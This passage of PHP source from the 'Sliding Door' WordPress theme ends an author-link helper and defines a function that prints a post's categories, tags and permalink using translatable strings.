			sprintf( esc_attr__( 'View all posts by %s', 'sliding-door' ), get_the_author() ),
			get_the_author()
		)
	);
}
endif;

if ( ! function_exists( 'slidingdoor_posted_in' ) ) :
/**
 * Prints HTML with meta information for the current post (category, tags and permalink).
 *
 * @since Sliding Door 1.0
 */
function slidingdoor_posted_in() {
	// Retrieves tag list of current post, separated by commas.
	$tag_list = get_the_tag_list( '', ', ' );
	if ( $tag_list ) {
		$posted_in = __( 'This entry was posted in %1$s and tagged %2$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'sliding-door' );
	} elseif ( is_object_in_taxonomy( get_post_type(), 'category' ) ) {
		$posted_in = __( 'This entry was posted in %1$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'sliding-door' );
	} else {
		$posted_in = __( 'Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'sliding-door' );
	}
	// Prints the string, replacing the placeholders.
	printf(
		$posted_in,
		get_the_category_list( ', ' ),
		$tag_list,
		get_permalink(),
		the_title_attribute( 'echo=0' )
	);
}
endif;